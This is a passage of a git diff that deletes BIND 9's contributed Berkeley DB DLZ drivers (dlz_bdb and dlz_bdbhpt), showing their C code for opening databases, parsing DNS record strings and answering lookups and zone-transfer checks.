-	cur_arr[2] = NULL;
-
-	db->data->join(db->data, cur_arr, &join_cursor, 0);
-
-	while ((bdbres = join_cursor->c_get(join_cursor, &key, &data, 0)) == 0)
-	{
-		tmp = realloc(tmp, data.size + 1);
-		if (tmp == NULL) {
-			goto lookup_cleanup;
-		}
-
-		strncpy(tmp, data.data, data.size);
-		tmp[data.size] = '\0';
-
-		if (bdb_parse_data(tmp, &pd) != ISC_R_SUCCESS) {
-			goto lookup_cleanup;
-		}
-
-		result = dns_sdlz_putrr(lookup, pd.type, pd.ttl, pd.data);
-
-		if (result != ISC_R_SUCCESS) {
-			goto lookup_cleanup;
-		}
-	} /* end while loop */
-
-lookup_cleanup:
-
-	if (tmp != NULL) {
-		free(tmp);
-	}
-	if (tmp_zone != NULL) {
-		free(tmp_zone);
-	}
-	if (tmp_host != NULL) {
-		free(tmp_host);
-	}
-
-	/* get rid of the joined cusor */
-	if (join_cursor != NULL) {
-		join_cursor->c_close(join_cursor);
-	}
-
-	/* get rid of zone_cursor */
-	if (zone_cursor != NULL) {
-		zone_cursor->c_close(zone_cursor);
-	}
-
-	/* get rid of host_cursor */
-	if (host_cursor != NULL) {
-		host_cursor->c_close(host_cursor);
-	}
-
-	return (result);
-}
-
-/*% Initializes, sets flags and then opens Berkeley databases. */
-
-static isc_result_t
-bdb_opendb(DB_ENV *db_env, DBTYPE db_type, DB **db, const char *db_name,
-	   char *db_file, int flags) {
-	int result;
-
-	/* Initialize the database. */
-	if ((result = db_create(db, db_env, 0)) != 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "BDB could not initialize %s database. "
-			      "BDB error: %s",
-			      db_name, db_strerror(result));
-		return (ISC_R_FAILURE);
-	}
-
-	/* set database flags. */
-	if ((result = (*db)->set_flags(*db, flags)) != 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "BDB could not set flags for %s database. "
-			      "BDB error: %s",
-			      db_name, db_strerror(result));
-		return (ISC_R_FAILURE);
-	}
-
-	/* open the database. */
-	if ((result = (*db)->open(*db, NULL, db_file, db_name, db_type,
-				  DB_RDONLY | bdb_threads, 0)) != 0)
-	{
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "BDB could not open %s database in %s. "
-			      "BDB error: %s",
-			      db_name, db_file, db_strerror(result));
-		return (ISC_R_FAILURE);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-bdb_create(const char *dlzname, unsigned int argc, char *argv[],
-	   void *driverarg, void **dbdata) {
-	isc_result_t result;
-	int bdbres;
-	bdb_instance_t *db = NULL;
-
-	UNUSED(dlzname);
-	UNUSED(driverarg);
-
-	/* verify we have 3 arg's passed to the driver */
-	if (argc != 3) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Berkeley DB driver requires at least "
-			      "2 command line args.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* allocate and zero memory for driver structure */
-	db = isc_mem_get(named_g_mctx, sizeof(bdb_instance_t));
-	memset(db, 0, sizeof(bdb_instance_t));
-
-	/* attach to the memory context */
-	isc_mem_attach(named_g_mctx, &db->mctx);
-
-	/* create BDB environment
-	 * Basically BDB allocates and assigns memory to db->dbenv
-	 */
-	bdbres = db_env_create(&db->dbenv, 0);
-	if (bdbres != 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "BDB environment could not be created. "
-			      "BDB error: %s",
-			      db_strerror(bdbres));
-		result = ISC_R_FAILURE;
-		goto init_cleanup;
-	}
-
-	/* open BDB environment */
-	bdbres = db->dbenv->open(
-		db->dbenv, argv[1],
-		DB_INIT_CDB | DB_INIT_MPOOL | bdb_threads | DB_CREATE, 0);
-	if (bdbres != 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "BDB environment at '%s' could not be opened. "
-			      "BDB error: %s",
-			      argv[1], db_strerror(bdbres));
-		result = ISC_R_FAILURE;
-		goto init_cleanup;
-	}
-
-	/* open dlz_data database. */
-	result = bdb_opendb(db->dbenv, DB_UNKNOWN, &db->data, dlz_data, argv[2],
-			    0);
-	if (result != ISC_R_SUCCESS) {
-		goto init_cleanup;
-	}
-
-	/* open dlz_host database. */
-	result = bdb_opendb(db->dbenv, DB_UNKNOWN, &db->host, dlz_host, argv[2],
-			    DB_DUP | DB_DUPSORT);
-	if (result != ISC_R_SUCCESS) {
-		goto init_cleanup;
-	}
-
-	/* open dlz_zone database. */
-	result = bdb_opendb(db->dbenv, DB_UNKNOWN, &db->zone, dlz_zone, argv[2],
-			    DB_DUP | DB_DUPSORT);
-	if (result != ISC_R_SUCCESS) {
-		goto init_cleanup;
-	}
-
-	/* open dlz_client database. */
-	result = bdb_opendb(db->dbenv, DB_UNKNOWN, &db->client, dlz_client,
-			    argv[2], DB_DUP | DB_DUPSORT);
-	if (result != ISC_R_SUCCESS) {
-		goto init_cleanup;
-	}
-
-	/* associate the host secondary database with the primary database */
-	bdbres = db->data->associate(db->data, NULL, db->host, NULL, 0);
-	if (bdbres != 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "BDB could not associate %s database with %s. "
-			      "BDB error: %s",
-			      dlz_host, dlz_data, db_strerror(bdbres));
-		result = ISC_R_FAILURE;
-		goto init_cleanup;
-	}
-
-	/* associate the zone secondary database with the primary database */
-	bdbres = db->data->associate(db->data, NULL, db->zone, NULL, 0);
-	if (bdbres != 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "BDB could not associate %s database with %s. "
-			      "BDB error: %s",
-			      dlz_zone, dlz_data, db_strerror(bdbres));
-		result = ISC_R_FAILURE;
-		goto init_cleanup;
-	}
-
-	*dbdata = db;
-
-	return (ISC_R_SUCCESS);
-
-init_cleanup:
-
-	bdb_cleanup(db);
-	return (result);
-}
-
-static void
-bdb_destroy(void *driverarg, void *dbdata) {
-	UNUSED(driverarg);
-
-	bdb_cleanup((bdb_instance_t *)dbdata);
-}
-
-/* bdb_authority not needed as authority data is returned by lookup */
-static dns_sdlzmethods_t dlz_bdb_methods = {
-	bdb_create,
-	bdb_destroy,
-	bdb_findzone,
-	bdb_lookup,
-	NULL,
-	bdb_allnodes,
-	bdb_allowzonexfr,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-};
-
-/*%
- * Wrapper around dns_sdlzregister().
- */
-isc_result_t
-dlz_bdb_init(void) {
-	isc_result_t result;
-
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Registering DLZ bdb driver.");
-
-	result = dns_sdlzregister("bdb", &dlz_bdb_methods, NULL,
-				  DNS_SDLZFLAG_RELATIVEOWNER |
-					  DNS_SDLZFLAG_RELATIVERDATA |
-					  DNS_SDLZFLAG_THREADSAFE,
-				  named_g_mctx, &dlz_bdb);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "dns_sdlzregister() failed: %s",
-				 isc_result_totext(result));
-		result = ISC_R_UNEXPECTED;
-	}
-
-	return (result);
-}
-
-/*%
- * Wrapper around dns_sdlzunregister().
- */
-void
-dlz_bdb_clear(void) {
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Unregistering DLZ bdb driver.");
-
-	if (dlz_bdb != NULL) {
-		dns_sdlzunregister(&dlz_bdb);
-	}
-}
-
-#endif /* ifdef DLZ_BDB */
diff --git a/contrib/dlz/drivers/dlz_bdbhpt_driver.c b/contrib/dlz/drivers/dlz_bdbhpt_driver.c
deleted file mode 100644
index 80f4330b67..0000000000
--- a/contrib/dlz/drivers/dlz_bdbhpt_driver.c
+++ /dev/null
@@ -1,869 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2016  Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- */
-
-#ifdef DLZ_BDB
-#include <db.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <isc/mem.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/util.h>
-
-#include <dns/log.h>
-#include <dns/result.h>
-#include <dns/sdlz.h>
-
-#include <dlz/dlz_bdbhpt_driver.h>
-#include <named/globals.h>
-
-static dns_sdlzimplementation_t *dlz_bdbhpt = NULL;
-
-/* should the bdb driver use threads. */
-#define bdbhpt_threads DB_THREAD
-
-/* bdbhpt database names */
-#define dlz_data   "dns_data"
-#define dlz_zone   "dns_zone"
-#define dlz_xfr	   "dns_xfr"
-#define dlz_client "dns_client"
-
-/* This structure contains all the Berkeley DB handles
- * for this instance of the bdbhpt driver.
- */
-
-typedef struct bdbhpt_instance {
-	DB_ENV *dbenv;	 /*%< bdbhpt environment */
-	DB *data;	 /*%< dns_data database handle */
-	DB *zone;	 /*%< zone database handle */
-	DB *xfr;	 /*%< zone xfr database handle */
-	DB *client;	 /*%< client database handle */
-	isc_mem_t *mctx; /*%< memory context */
-} bdbhpt_instance_t;
-
-typedef struct bdbhpt_parsed_data {
-	char *host;
-	char *type;
-	int ttl;
-	char *data;
-} bdbhpt_parsed_data_t;
-
-/* forward reference */
-
-static isc_result_t
-bdbhpt_findzone(void *driverarg, void *dbdata, const char *name,
-		dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo);
-
-/*%
- * Reverses a string in place.
- */
-
-static char *
-bdbhpt_strrev(char *str) {
-	char *p1, *p2;
-
-	if (!str || !*str) {
-		return (str);
-	}
-	for (p1 = str, p2 = str + strlen(str) - 1; p2 > p1; ++p1, --p2) {
-		*p1 ^= *p2;
-		*p2 ^= *p1;
-		*p1 ^= *p2;
-	}
-	return (str);
-}
-
-/*%
- * Parses the DBT from the Berkeley DB into a parsed_data record
- * The parsed_data record should be allocated before and passed into the
- * bdbhpt_parse_data function.  The char (type & data) fields should not
- * be "free"d as that memory is part of the DBT data field.  It will be
- * "free"d when the DBT is freed.
- */
-
-static isc_result_t
-bdbhpt_parse_data(char *in, bdbhpt_parsed_data_t *pd) {
-	char *endp, *ttlStr;
-	char *tmp = in;
-	char *lastchar = (char *)&tmp[strlen(tmp)];
-
-	/*%
-	 * String should be formatted as:
-	 *   replication_id
-	 *   (a space)
-	 *   host_name
-	 *   (a space)
-	 *   ttl
-	 *   (a space)
-	 *   type
-	 *   (a space)
-	 *   remaining data
-	 *
-	 * examples:
-	 *
-	 * 9191 host 10 A 127.0.0.1
-	 * server1_212 host 10 A 127.0.0.2
-	 * {xxxx-xxxx-xxxx-xxxx-xxxx} host 10 MX 20 mail.example.com
-	 */
-
-	/*
-	 * we don't need the replication id, so don't
-	 * bother saving a pointer to it.
-	 */
-
-	/* find space after replication id */
-	tmp = strchr(tmp, ' ');
-	/* verify we found a space */
-	if (tmp == NULL) {
-		return (ISC_R_FAILURE);
-	}
-	/* make sure it is safe to increment pointer */
-	if (++tmp > lastchar) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* save pointer to host */
-	pd->host = tmp;
-
-	/* find space after host and change it to a '\0' */
-	tmp = strchr(tmp, ' ');
-	/* verify we found a space */
-	if (tmp == NULL) {
-		return (ISC_R_FAILURE);
-	}
-	/* change the space to a null (string terminator) */
-	tmp[0] = '\0';
-	/* make sure it is safe to increment pointer */
-	if (++tmp > lastchar) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* save pointer to ttl string */
-	ttlStr = tmp;
-
-	/* find space after ttl and change it to a '\0' */
-	tmp = strchr(tmp, ' ');
-	/* verify we found a space */
-	if (tmp == NULL) {
-		return (ISC_R_FAILURE);
-	}
-	/* change the space to a null (string terminator) */
-	tmp[0] = '\0';
-	/* make sure it is safe to increment pointer */
-	if (++tmp > lastchar) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* save pointer to dns type */
-	pd->type = tmp;
-
-	/* find space after type and change it to a '\0' */
-	tmp = strchr(tmp, ' ');
-	/* verify we found a space */
-	if (tmp == NULL) {
-		return (ISC_R_FAILURE);
-	}
-	/* change the space to a null (string terminator) */
-	tmp[0] = '\0';
-	/* make sure it is safe to increment pointer */
-	if (++tmp > lastchar) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* save pointer to remainder of DNS data */
-	pd->data = tmp;
-
-	/* convert ttl string to integer */
-	pd->ttl = strtol(ttlStr, &endp, 10);
-	if (*endp != '\0' || pd->ttl < 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "bdbhpt driver ttl must be a positive number");
-		return (ISC_R_FAILURE);
-	}
-
-	/* if we get this far everything should have worked. */
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * DLZ methods
- */
-
-static isc_result_t
-bdbhpt_allowzonexfr(void *driverarg, void *dbdata, const char *name,
-		    const char *client) {
-	isc_result_t result;
-	bdbhpt_instance_t *db = (bdbhpt_instance_t *)dbdata;
-	DBT key, data;
-
-	/* check to see if we are authoritative for the zone first. */
-	result = bdbhpt_findzone(driverarg, dbdata, name, NULL, NULL);
-	if (result != ISC_R_SUCCESS) {
-		return (ISC_R_NOTFOUND);
-	}
-
-	memset(&key, 0, sizeof(DBT));
-	key.flags = DB_DBT_MALLOC;
-	key.data = strdup(name);
-	if (key.data == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto xfr_cleanup;
-	}
-	key.size = strlen(key.data);
-
-	memset(&data, 0, sizeof(DBT));
-	data.flags = DB_DBT_MALLOC;
-	data.data = strdup(client);
-	if (data.data == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto xfr_cleanup;
-	}
-	data.size = strlen(data.data);
-
-	switch (db->client->get(db->client, NULL, &key, &data, DB_GET_BOTH)) {
-	case DB_NOTFOUND:
-		result = ISC_R_NOTFOUND;
-		break;
-	case 0:
-		result = ISC_R_SUCCESS;
-		break;
-	default:
-		result = ISC_R_FAILURE;
-	}
-
-xfr_cleanup:
-
-	/* free any memory duplicate string in the key field */
-	if (key.data != NULL) {
-		free(key.data);
-	}
-
-	/* free any memory allocated to the data field. */
-	if (data.data != NULL) {
-		free(data.data);
-	}
-
-	return (result);
-}
-
-/*%
- * BDB does not allow a secondary index on a database that allows
- * duplicates.  We have a few options:
- *
- * 1) kill speed by having lookup method use a secondary db which
- * is associated to the primary DB with the DNS data.  Then have
- * another secondary db for zone transfer which also points to
- * the dns_data primary.  NO - The  point of this driver is
- * lookup performance.
- *
- * 2) Blow up database size by storing DNS data twice.  Once for
- * the lookup (dns_data) database, and a second time for the zone
- * transfer (dns_xfr) database. NO - That would probably require
- * a larger cache to provide good performance.  Also, that would
- * make the DB larger on disk potentially slowing it as well.
- *
- * 3) Loop through the dns_xfr database with a cursor to get
- * all the different hosts in a zone.  Then use the zone & host
- * together to lookup the data in the dns_data database. YES -
- * This may slow down zone xfr's a little, but that's ok they
- * don't happen as often and don't need to be as fast. We can
- * also use this table when deleting a zone (The BDB driver
- * is read only - the delete would be used during replication
- * updates by a separate process).
- */
-
-static isc_result_t
-bdbhpt_allnodes(const char *zone, void *driverarg, void *dbdata,
-		dns_sdlzallnodes_t *allnodes) {
-	isc_result_t result = ISC_R_NOTFOUND;
-	bdbhpt_instance_t *db = (bdbhpt_instance_t *)dbdata;
-	DBC *xfr_cursor = NULL;
-	DBC *dns_cursor = NULL;
-	DBT xfr_key, xfr_data, dns_key, dns_data;
-	int xfr_flags;
-	int dns_flags;
-	int bdbhptres;
-	bdbhpt_parsed_data_t pd;
-	char *tmp = NULL, *tmp_zone, *tmp_zone_host = NULL;
-
-	UNUSED(driverarg);
-
-	memset(&xfr_key, 0, sizeof(DBT));
-	memset(&xfr_data, 0, sizeof(DBT));
-	memset(&dns_key, 0, sizeof(DBT));
-	memset(&dns_data, 0, sizeof(DBT));
-
-	xfr_key.data = tmp_zone = strdup(zone);
-	if (xfr_key.data == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	xfr_key.size = strlen(xfr_key.data);
-
-	/* get a cursor to loop through dns_xfr table */
-	if (db->xfr->cursor(db->xfr, NULL, &xfr_cursor, 0) != 0) {
-		result = ISC_R_FAILURE;
-		goto allnodes_cleanup;
-	}
-
-	/* get a cursor to loop through dns_data table */
-	if (db->data->cursor(db->data, NULL, &dns_cursor, 0) != 0) {
-		result = ISC_R_FAILURE;
-		goto allnodes_cleanup;
-	}
-
-	xfr_flags = DB_SET;
-
-	/* loop through xfr table for specified zone. */
-	while ((bdbhptres = xfr_cursor->c_get(xfr_cursor, &xfr_key, &xfr_data,
-					      xfr_flags)) == 0)
-	{
-		xfr_flags = DB_NEXT_DUP;
-
-		/* +1 to allow for space between zone and host names */
-		dns_key.size = xfr_data.size + xfr_key.size + 1;
-
-		/* +1 to allow for null term at end of string. */
-		dns_key.data = tmp_zone_host = malloc(dns_key.size + 1);
-		if (dns_key.data == NULL) {
-			goto allnodes_cleanup;
-		}
-
-		/*
-		 * construct search key for dns_data.
-		 * zone_name(a space)host_name
-		 */
-		strcpy(dns_key.data, zone);
-		strcat(dns_key.data, " ");
-		strncat(dns_key.data, xfr_data.data, xfr_data.size);
-
-		dns_flags = DB_SET;
-
-		while ((bdbhptres = dns_cursor->c_get(dns_cursor, &dns_key,
-						      &dns_data, dns_flags)) ==
-		       0)
-		{
-			dns_flags = DB_NEXT_DUP;
-
-			/* +1 to allow for null term at end of string. */
-			tmp = realloc(tmp, dns_data.size + 1);
-			if (tmp == NULL) {
-				goto allnodes_cleanup;
-			}
-
-			/* copy data to tmp string, and append null term. */
-			strncpy(tmp, dns_data.data, dns_data.size);
-			tmp[dns_data.size] = '\0';
-
-			/* split string into dns data parts. */
-			if (bdbhpt_parse_data(tmp, &pd) != ISC_R_SUCCESS) {
-				goto allnodes_cleanup;
-			}
-
-			result = dns_sdlz_putnamedrr(allnodes, pd.host, pd.type,
-						     pd.ttl, pd.data);
-			if (result != ISC_R_SUCCESS) {
-				goto allnodes_cleanup;
-			}
-		} /* end inner while loop */
-
-		/* clean up memory */
-		if (tmp_zone_host != NULL) {
-			free(tmp_zone_host);
-			tmp_zone_host = NULL;
-		}
-	} /* end outer while loop */
-
-allnodes_cleanup:
-
-	/* free any memory */
-	if (tmp != NULL) {
-		free(tmp);
-	}
-
-	if (tmp_zone_host != NULL) {
-		free(tmp_zone_host);
-	}
-
-	if (tmp_zone != NULL) {
-		free(tmp_zone);
-	}
-
-	/* get rid of cursors */
-	if (xfr_cursor != NULL) {
-		xfr_cursor->c_close(xfr_cursor);
-	}
-
-	if (dns_cursor != NULL) {
-		dns_cursor->c_close(dns_cursor);
-	}
-
-	return (result);
-}
-
-/*%
- * Performs bdbhpt cleanup.
- * Used by bdbhpt_create if there is an error starting up.
- * Used by bdbhpt_destroy when the driver is shutting down.
- */
-
-static void
-bdbhpt_cleanup(bdbhpt_instance_t *db) {
-	isc_mem_t *mctx;
-
-	/* close databases */
-	if (db->data != NULL) {
-		db->data->close(db->data, 0);
-	}
-	if (db->xfr != NULL) {
-		db->xfr->close(db->xfr, 0);
-	}
-	if (db->zone != NULL) {
-		db->zone->close(db->zone, 0);
-	}
-	if (db->client != NULL) {
-		db->client->close(db->client, 0);
-	}
-
-	/* close environment */
-	if (db->dbenv != NULL) {
-		db->dbenv->close(db->dbenv, 0);
-	}
-
-	/* cleanup memory */
-	if (db->mctx != NULL) {
-		/* save mctx for later */
-		mctx = db->mctx;
-		/* return, and detach the memory */
-		isc_mem_putanddetach(&mctx, db, sizeof(bdbhpt_instance_t));
-	}
-}
-
-static isc_result_t
-bdbhpt_findzone(void *driverarg, void *dbdata, const char *name,
-		dns_clientinfomethods_t *methods,
-		dns_clientinfo_t *clientinfo) {
-	isc_result_t result;
-	bdbhpt_instance_t *db = (bdbhpt_instance_t *)dbdata;
-	DBT key, data;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	memset(&key, 0, sizeof(DBT));
-	memset(&data, 0, sizeof(DBT));
-	data.flags = DB_DBT_MALLOC;
-
-	key.data = strdup(name);
-
-	if (key.data == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	/*
-	 * reverse string to take advantage of BDB locality of reference
-	 * if we need further lookups because the zone doesn't match the
-	 * first time.
-	 */
-	key.data = bdbhpt_strrev(key.data);
-	key.size = strlen(key.data);
-
-	switch (db->zone->get(db->zone, NULL, &key, &data, 0)) {
-	case DB_NOTFOUND:
-		result = ISC_R_NOTFOUND;
-		break;
-	case 0:
-		result = ISC_R_SUCCESS;
-		break;
-	default:
-		result = ISC_R_FAILURE;
-	}
-
-	/* free any memory duplicate string in the key field */
-	if (key.data != NULL) {
-		free(key.data);
-	}
-
-	/* free any memory allocated to the data field. */
-	if (data.data != NULL) {
-		free(data.data);
-	}
-
-	return (result);
-}
-
-static isc_result_t
-bdbhpt_lookup(const char *zone, const char *name, void *driverarg, void *dbdata,
-	      dns_sdlzlookup_t *lookup, dns_clientinfomethods_t *methods,
-	      dns_clientinfo_t *clientinfo) {
-	isc_result_t result = ISC_R_NOTFOUND;
-	bdbhpt_instance_t *db = (bdbhpt_instance_t *)dbdata;
-	DBC *data_cursor = NULL;
-	DBT key, data;
-	int bdbhptres;
-	int flags;
-
-	bdbhpt_parsed_data_t pd;
-	char *tmp = NULL;
-	char *keyStr = NULL;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	memset(&key, 0, sizeof(DBT));
-	memset(&data, 0, sizeof(DBT));
-
-	key.size = strlen(zone) + strlen(name) + 1;
-
-	/* allocate mem for key */
-	key.data = keyStr = malloc((key.size + 1) * sizeof(char));
-
-	if (keyStr == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	strcpy(keyStr, zone);
-	strcat(keyStr, " ");
-	strcat(keyStr, name);
-
-	/* get a cursor to loop through data */
-	if (db->data->cursor(db->data, NULL, &data_cursor, 0) != 0) {
-		result = ISC_R_FAILURE;
-		goto lookup_cleanup;
-	}
-
-	result = ISC_R_NOTFOUND;
-
-	flags = DB_SET;
-	while ((bdbhptres = data_cursor->c_get(data_cursor, &key, &data,
-					       flags)) == 0) {
-		flags = DB_NEXT_DUP;
-		tmp = realloc(tmp, data.size + 1);
-		if (tmp == NULL) {
-			goto lookup_cleanup;
-		}
-
-		strncpy(tmp, data.data, data.size);
-		tmp[data.size] = '\0';
-
-		if (bdbhpt_parse_data(tmp, &pd) != ISC_R_SUCCESS) {
-			goto lookup_cleanup;
-		}
-
-		result = dns_sdlz_putrr(lookup, pd.type, pd.ttl, pd.data);
-
-		if (result != ISC_R_SUCCESS) {
-			goto lookup_cleanup;
-		}
-	} /* end while loop */
-
-lookup_cleanup:
-
-	/* get rid of cursor */
-	if (data_cursor != NULL) {
-		data_cursor->c_close(data_cursor);
-	}
-
-	free(keyStr);
-	if (tmp != NULL) {
-		free(tmp);
-	}
-
-	return (result);
-}
-
-/*% Initializes, sets flags and then opens Berkeley databases. */
-
-static isc_result_t
-bdbhpt_opendb(DB_ENV *db_env, DBTYPE db_type, DB **db, const char *db_name,
-	      char *db_file, int flags) {
-	int result;
-
-	/* Initialize the database. */
-	if ((result = db_create(db, db_env, 0)) != 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "bdbhpt could not initialize %s database. "
-			      "bdbhpt error: %s",
-			      db_name, db_strerror(result));
-		return (ISC_R_FAILURE);
-	}
-
-	/* set database flags. */
-	if ((result = (*db)->set_flags(*db, flags)) != 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "bdbhpt could not set flags for %s database. "
-			      "bdbhpt error: %s",
-			      db_name, db_strerror(result));
-		return (ISC_R_FAILURE);
-	}
-
-	/* open the database. */
-	if ((result = (*db)->open(*db, NULL, db_file, db_name, db_type,
-				  DB_RDONLY | bdbhpt_threads, 0)) != 0)
-	{
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "bdbhpt could not open %s database in %s. "
-			      "bdbhpt error: %s",
-			      db_name, db_file, db_strerror(result));
-		return (ISC_R_FAILURE);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-bdbhpt_create(const char *dlzname, unsigned int argc, char *argv[],
-	      void *driverarg, void **dbdata) {
-	isc_result_t result;
-	int bdbhptres;
-	int bdbFlags = 0;
-	bdbhpt_instance_t *db = NULL;
-
-	UNUSED(dlzname);
-	UNUSED(driverarg);
-
-	/* verify we have 4 arg's passed to the driver */
-	if (argc != 4) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "bdbhpt driver requires at least "
-			      "3 command line args.");
-		return (ISC_R_FAILURE);
-	}
-
-	switch ((char)*argv[1]) {
-	/*
-	 * Transactional mode.  Highest safety - lowest speed.
-	 */
-	case 'T':
-	case 't':
-		bdbFlags = DB_INIT_MPOOL | DB_INIT_LOCK | DB_INIT_LOG |
-			   DB_INIT_TXN;
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(1),
-			      "bdbhpt driver using transactional mode.");
-		break;
-	/*
-	 * Concurrent mode.  Lower safety (no rollback) -
-	 * higher speed.
-	 */
-	case 'C':
-	case 'c':
-		bdbFlags = DB_INIT_CDB | DB_INIT_MPOOL;
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(1),
-			      "bdbhpt driver using concurrent mode.");
-		break;
-	/*
-	 * Private mode. No inter-process communication & no locking.
-	 * Lowest safety - highest speed.
-	 */
-	case 'P':
-	case 'p':
-		bdbFlags = DB_PRIVATE | DB_INIT_MPOOL;
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(1),
-			      "bdbhpt driver using private mode.");
-		break;
-	default:
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "bdbhpt driver requires the operating mode "
-			      "be set to P or C or T.  You specified '%s'",
-			      argv[1]);
-		return (ISC_R_FAILURE);
-	}
-
-	/* allocate and zero memory for driver structure */
-	db = isc_mem_get(named_g_mctx, sizeof(bdbhpt_instance_t));
-	memset(db, 0, sizeof(bdbhpt_instance_t));
-
-	/* attach to the memory context */
-	isc_mem_attach(named_g_mctx, &db->mctx);
-
-	/*
-	 * create bdbhpt environment
-	 * Basically bdbhpt allocates and assigns memory to db->dbenv
-	 */
